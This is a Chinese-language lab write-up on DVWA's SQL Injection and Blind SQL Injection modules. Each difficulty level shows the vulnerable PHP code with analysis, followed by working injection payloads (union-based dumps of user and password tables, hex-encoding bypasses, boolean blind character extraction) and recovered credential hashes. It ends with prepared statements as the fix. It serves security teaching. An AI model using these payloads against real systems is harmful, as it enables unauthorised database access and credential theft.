DVWA之SQL Injecttion(含Blind)

SQL Injection

0x01 Low级别

源码分析

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

​ 以上代码所构造sql查询语句中的参数id，是从前端所提交到后端，代码中并没有对来自客户端提交的参数id进行合法性检查和过滤敏感字符等操作，很容易就能探测出SQL注入漏洞，然后进一步利用来获取数据库信息or其他操作权限。

测试过程

• 判断注入点：给出一个id值1并加 ' 进行测试，语句报错。

  SELECT first_name, last_name FROM users WHERE user_id = '1'';

• 恒真查询：输入1' or 1=1#，语句正常，报出相关信息。

  SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 #';

• 判断字段长度：输入1' order by 2#，返回2个字段值。

• 获取字段显示位：输入1' union select 1,2#

• 获取数据库信息：输入1' union select database(),version()#

其他信息：user():数据库用户、@@version_compile_os:操作系统、@@datadir:

数据库存储目录、version():版本信息、database():数据库名。

• 获取dvwa数据库中的表名：输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

• 获取users表中的列名：输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

• 导出users表中的数据：输入1' union select 1,concat_ws('--',user,password) from users #

0x02 Medium级别

源码分析

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

Medium级别的代码加入mysqli_real_escape_string()函数对特殊符号进行转义，同时前端使用下拉选择表单来控制用户输入。

测试过程

抓包修改参数id为1 or 1=1#，查询成功

• 获取users表中的列名1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#(因为单引号被转义，'users'需用十六进制绕过)
• 导出表中数据1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

0x03 High级别

源码分析

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

High级别代码在sql查询中加入LIMIT 1来限制输出一条内容

查询提交页面与查询结果显示页面不是同一个，也没有执行302跳转，目的是为了防止一般的sqlmap注入

测试过程

'#'可以将sql语句后的LIMIT 1注释掉，从而无法限制查询

PAYLOAD：1' union select 1,concat_ws('--',user,password) from users #

测试过程参考low级

0x04 Impossible级别

源码分析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

• Impossible级别的代码采用了PDO技术，划清了代码与数据的界限，有效防御SQL.
• is_numeric()函数检查参数id是否为数字
• 只有返回的查询结果数量为一时，才会成功输出，这样就有效预防了“脱裤”
• 加入Anti-CSRFtoken,进一步提高安全性

SQL Injection(Blind)

0x00 SQL盲注思路

• 基于布尔的盲注：可通过构造真or假判断条件（数据库各项信息取值的大小比较，如：字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码...），将构造的sql语句提交到服务器，然后根据服务器对不同的请求返回不同的页面结果（True、False）；然后不断调整判断条件中的数值以逼近真实值，特别是需要关注响应从True<-->False发生变化的转折点。
• 基于时间的盲注：通过构造真or假判断条件的sql语句，且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求，观察服务器响应结果是否会执行所设置时间的延迟响应，以此来判断所构造条件的真or假（若执行sleep延迟，则表示当前设置的判断条件为真）；然后不断调整判断条件中的数值以逼近真实值，最终确定具体的数值大小or名称拼写。
• 基于报错的盲注：报错型注入是利用了MySQL的第8652号bug ：Bug #8652 group by part of rand() returns duplicate key error来进行的盲注，使得MySQL由于函数的特性返回错误信息，进而我们可以显示我们想要的信息，从而达到注入的效果。主要内容：在使用group by 对一些rand()函数进行操作时会返回duplicate key 错误，而该错误将会披露一些关键信息。

0x01 Low级别

源码分析

<?php
if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

以上代码所构造sql查询语句中的参数id，是从前端所提交到后端，代码中并没有对来自客户端提交的参数id进行合法性检查和过滤敏感字符等操作，但在查库时@了查询函数，屏蔽了查询函数执行后的出错信息。

测试过程

• 判断注入点：恒真、恒假查询，得出存在注入点。

  构造语句	返回信息
  1' and 1=1#	User ID exists in the database.
  1' and 1=2#	User ID is MISSING from the database.

• 判断数据库名称长度：二分法、length()函数

  1' and length(database())>10#     //返回missing
  1' and length(database())>5#      //返回missing
  1' and length(database())>3#      //返回exists
  1' and length(database())=4#      //返回exists

• 猜解数据库字符串：ASCII码、substr()函数

  1' and ascii(substr(database(),1,1))=100#     //d
  1' and ascii(substr(database(),2,1))=118#     //v
  1' and ascii(substr(database(),3,1))=119#     //w
  1' and ascii(substr(database(),4,1))=97#      //a

• 判断数据库中表个数

  1' and (select count(table_name) from information_schema.tables where
  table_schema=database())=2#               //存在两张数据表

• 判断表名的长度

  1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9#    //第一张表字符长度为9
  1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5#    //第二张表字符长度为5

• 判断第二张表名字符串

  1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117# //u
  1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115# //s
  1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),2,1))=101# //e
  1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1))=114# //r
  1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1),2,1))=115# //s

• 猜解表中字段数

  1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8#    //users表中有8个字段

• 猜解表中字段名称

  1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1#           //存在字段user
  1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1#       //存在字段password

• 获取表中的字段值

  1' and length(substr((select user from users limit 0,1),1))=5#
  //user字段中第一个字段值的字符长度为5
  1' and length(substr((select password from users limit 0,1),1))=32#
  //password字段中第一个字段值的字符长度为32(md5加密)

  依次猜解出部分值：

  user	password	md5($password)
  admin	password	5f4dcc3b5aa765d61d8327deb882cf99
  admin123	123456	e10adc3949ba59abbe56e057f20f883e
  root	root	63a9f0ea7bb98050796b649e85481845

0x02 Medium级别

源码分析

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

Medium级别的代码加入mysqli_real_escape_string()函数对特殊符号进行转义，同时前端使用下拉选择表单来控制用户输入。

测试过程

• 抓包修改参数id为1 and length(database())=4 #，显示存在，说明数据库名的长度为4个字符
• 抓包修改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 # 显示存在，说明uers表有8个字段
• 其他猜解过程同low级

0x03 High级别

源码分析

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

High级别的代码利用cookie传递参数id，当SQL查询结果为空时，会执行函数sleep(seconds)，目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1，希望以此控制只输出一个结果。

测试过程

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8#说明users表中有8个字段

其他猜解过程同low级别

0x04 Impossible级别

源码分析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

• 加入Anti-CSRFtoken机制,提高安全性
• is_numeric()函数检查参数id是否为数字
• 采用了PDO技术，划清了代码与数据的界限，有效防御SQL注入